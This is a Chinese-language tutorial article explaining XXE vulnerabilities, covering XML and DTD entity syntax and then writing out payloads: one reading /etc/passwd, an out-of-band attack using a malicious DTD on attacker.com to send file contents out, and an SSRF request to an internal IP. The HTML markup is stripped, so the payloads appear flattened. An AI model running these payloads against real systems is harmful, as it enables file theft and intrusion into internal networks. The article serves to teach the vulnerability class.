ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

什么是XXE漏洞

什么是XXE漏洞 文章目录前言1. XML1.1 HTML文档1.2 XML2. XXE2.1 原理2.2 直接外部实体引用经典 XXE2.3 恶意 DTD 文件攻击进阶 XXE2.4 SSRF3. 总结参考前言假如没有学过完整的Web前后端开发可能理解XXE会有点困难。究其原因是因为我们知识的广度不够接受新概念时觉得抽象难懂。我们常说代码/软件 定义一切正是软件提供了一个简易的平台让我们使用计算机屏蔽了底层复杂的逻辑与此同时也引入了一些新的抽象概念。递归的去理解这些概念什么、哪里才是我们的边界/基线呢就是一门编程语言。编程语言写出一个程序允许我们实现某个功能。而程序在实现这个功能时为了方便我们使用又会引入一些新的抽象概念用户根据这些概念和规范输入数据得到输出。即输入特定格式的数据文本/字符串、二进制软件读取处理输出。1. XML1.1 HTML文档我们先说HTML文档。其本质是一个文本文件浏览器会读入文件逐行解析文本根据程序浏览器的预定义处理逻辑输出展示文本内容。为什么h1一级标题/h1会被显示得很大呢正是因为浏览器软件里面已经预定义了h1/h1这个字符串处理这个标签里面得内容时会把解释为“一级标题”。我们不仅可以使用标签来定义文档的结构还可以在HTML文档中使用标签来引入CSS、JavaScript文件浏览器会根据不同的标签元素进行不同的处理。1.2 XMLXML可扩展标记语言eXtensible Markup Language既然是语言代表我们也可以写一段符合其语法的文本交由程序解释器/解析器处理比如?xml version1.0 encodingUTF-8?!DOCTYPEbookstore[!ELEMENTbookstore(book)!ELEMENTbook(title,author,price)!ELEMENTtitle(#PCDATA)!ELEMENTauthor(#PCDATA)!ELEMENTprice(#PCDATA)!ATTLISTbookcategoryCDATA默认分类]bookstorebookcategory技术titleXML入门指南/titleauthor张三/authorpricecurrencyCNY99.00/price/book/bookstore!DOCTYPE 根元素 [……]中的内容叫DTDDocument Type Define类似HTML中浏览器解析script srchttp://www.hacker.com/shell.js/script可以将Js代码写在标签体内也可以将src属性中的资源加载进来交给Js引擎执行DTD内容可以直接写在XML中比如上述例子也可以使用!DOCTYPE 根元素 SYSTEM 文件路径/URL将路径/URL中的DTD文件引入该XML文件中。至于什么是DTD它和XML文件有什么关系可以去b站看下XML相关教程或者问一下deepseek。DTD文件中可以定义“实体”或者可以说是变量本质上是定义一个可复用的数据块也就是说用一个字符串名称指定一个资源实体可分为2种类型通用实体和参数实体两者可在文件中定义也可引用外部数据资源其语法格式如下!-- 通用实体在XML文件中引用引用格式实体名; -- !ENTITY 实体名 实体值 !-- 内部实体 -- !ENTITY 实体名 SYSTEM 文件/URL !-- 外部实体 -- !-- 参数实体DTD文件自身使用 引用格式%实体名; -- !ENTITY % 实体名 实体值 !-- 内部实体 -- !ENTITY % 实体名 SYSTEM 文件/URL !-- 外部实体 --2. XXE2.1 原理XXEXML External Entity漏洞的本质是利用 XML 解析器对外部实体的加载功能通过构造恶意实体实现攻击。其攻击路径可分为两类2.2 直接外部实体引用经典 XXE示例直接读取服务器本地文件!DOCTYPEdata[!ENTITY xxe SYSTEM file:///etc/passwd]dataxxe;/data攻击结果若服务器返回 xxe; 的内容则 /etc/passwd 文件被泄露。防御禁用外部实体如设置 disallow-doctype-decl。2.3 恶意 DTD 文件攻击进阶 XXE当直接外部实体被禁用时攻击者可能通过引用外部 DTD 文件中的参数实体绕过限制。攻击步骤构造恶意 DTD 文件托管在攻击者服务器http://attacker.com/malicious.dtd!ENTITY % payload SYSTEM file:///etc/passwd !ENTITY % param !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%payload; %param; %exfil;解析逻辑#x25;字符引用0x25代表Unicode编码中的%% payload读取 /etc/passwd。% param定义嵌套实体 %exfil将数据外传到攻击者服务器。% exfil;触发 HTTP 请求。诱导服务器解析恶意 XML!DOCTYPEdataSYSTEMhttp://attacker.com/malicious.dtddata123/data结果服务器解析时加载外部 DTD执行参数实体攻击链导致数据外泄。为何更危险绕过防御部分解析器仅禁用通用实体xxe;但允许参数实体%param;。隐蔽性数据通过带外Out-of-Band传输无回显也能窃取信息。2.4 SSRF无论是直接外部实体还是恶意 DTD只要 XML 解析器发起未经授权的网络请求均可能导致 SSRF。例如!DOCTYPEdata[!ENTITY xxe SYSTEM http://内网IP:8080/admin]dataxxe;/data结果服务器向内部服务http://内网IP:8080/admin发起请求攻击者可探测或攻击内网系统。3. 总结说了这么多无非就是Web应用前后端通信使用XML格式的字符串后端语言会解析接收到的XML文本提取数据。我们通过构造一个恶意的XML利用 XML 解析器对外部实体的加载功能进行攻击。参考[1] XML教程[2] W3school DTD教程[3] 小迪安全v2023[4] deepseek
返回列表